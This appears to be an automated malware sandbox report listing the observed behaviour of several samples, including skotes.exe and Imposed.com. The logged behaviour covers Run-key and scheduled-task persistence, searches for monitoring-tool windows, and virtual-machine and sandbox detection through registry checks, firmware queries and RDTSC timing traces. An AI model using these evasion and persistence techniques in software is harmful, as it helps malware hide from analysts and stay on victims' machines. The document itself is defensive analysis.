Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsFHCAFIDBKE.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 70da2e822d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 70da2e822d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 57b831f1bb.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 57b831f1bb.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0245b5a6ea.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0245b5a6ea.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00DA231B IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		24_2_00DA231B
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D2FC88 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		24_2_00D2FC88

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6255F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6255F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Imposed.com, 0000001E.00000002.3055055853.00000000014FB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03E5A second address: E03E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03599 second address: E035BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F34C04FCDD7h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E058A8 second address: E058C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE3855h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E058C1 second address: E058C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E058C7 second address: E05906 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE384Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e call 00007F34C0CE384Ah 0x00000013 mov dword ptr [ebp+122D3157h], eax 0x00000019 pop edx 0x0000001a mov esi, eax 0x0000001c push 00000000h 0x0000001e jno 00007F34C0CE3849h 0x00000024 movzx edx, bx 0x00000027 call 00007F34C0CE3849h 0x0000002c pushad 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05A8E second address: E05AB6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push esi 0x00000009 push esi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop esi 0x0000000d pop esi 0x0000000e nop 0x0000000f je 00007F34C04FCDCCh 0x00000015 sub dword ptr [ebp+122D1A73h], edx 0x0000001b push 00000000h 0x0000001d stc 0x0000001e push A7AF77E7h 0x00000023 push ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05AB6 second address: E05ABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05ABA second address: E05B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 add dword ptr [esp], 58508899h 0x0000000e mov cx, 3B71h 0x00000012 push 00000003h 0x00000014 mov cx, bx 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+122D1D8Eh], esi 0x0000001f push 00000003h 0x00000021 jmp 00007F34C04FCDD1h 0x00000026 call 00007F34C04FCDC9h 0x0000002b jmp 00007F34C04FCDCFh 0x00000030 push eax 0x00000031 push ebx 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 jns 00007F34C04FCDC6h 0x0000003b popad 0x0000003c pop ebx 0x0000003d mov eax, dword ptr [esp+04h] 0x00000041 push esi 0x00000042 jmp 00007F34C04FCDCCh 0x00000047 pop esi 0x00000048 mov eax, dword ptr [eax] 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F34C04FCDD9h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05B42 second address: E05B48 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05B48 second address: E05B9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jc 00007F34C04FCDCEh 0x00000012 pop eax 0x00000013 mov esi, 4020BA37h 0x00000018 mov dword ptr [ebp+122D26FEh], ecx 0x0000001e lea ebx, dword ptr [ebp+124497B7h] 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007F34C04FCDC8h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000018h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e mov dword ptr [ebp+122D2657h], eax 0x00000044 push eax 0x00000045 pushad 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25274 second address: E25295 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE3858h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25295 second address: E252A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E252A0 second address: E252A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E252A6 second address: E252AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E252AA second address: E252C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F34C0CE384Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E252C2 second address: E252CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F34C04FCDC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E252CD second address: E252D9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25411 second address: E2541C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2541C second address: E25423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2580C second address: E25818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2598B second address: E259A3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F34C0CE3846h 0x00000008 jne 00007F34C0CE3846h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007F34C0CE384Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E259A3 second address: E259A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E259A7 second address: E259AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E259AD second address: E259B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25C5B second address: E25C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F34C0CE3846h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F34C0CE3846h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25C73 second address: E25C98 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jc 00007F34C04FCDC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F34C04FCDC6h 0x00000014 jmp 00007F34C04FCDD1h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25C98 second address: E25C9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25C9E second address: E25CAD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F34C04FCDCAh 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25F76 second address: E25FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F34C0CE3846h 0x0000000a popad 0x0000000b jmp 00007F34C0CE3859h 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007F34C0CE3846h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25FA5 second address: E25FBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25FBC second address: E25FC6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F34C0CE384Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26139 second address: E2613E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26292 second address: E262A8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F34C0CE384Ch 0x00000010 jp 00007F34C0CE3846h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E262A8 second address: E262B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E262B0 second address: E262B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3A15 second address: DF3A31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD7h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3A31 second address: DF3A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F34C0CE3846h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26B88 second address: E26B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F34C04FCDC8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26E55 second address: E26E7A instructions: 0x00000000 rdtsc 0x00000002 je 00007F34C0CE3846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F34C0CE3853h 0x00000010 jmp 00007F34C0CE384Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 ja 00007F34C0CE3846h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26E7A second address: E26E7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA518 second address: DFA541 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnl 00007F34C0CE3846h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F34C0CE3852h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F34C0CE3852h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA541 second address: DFA547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA547 second address: DFA54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA54B second address: DFA551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA551 second address: DFA56C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F34C0CE3857h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA56C second address: DFA570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2ACA8 second address: E2ACB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F34C0CE384Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
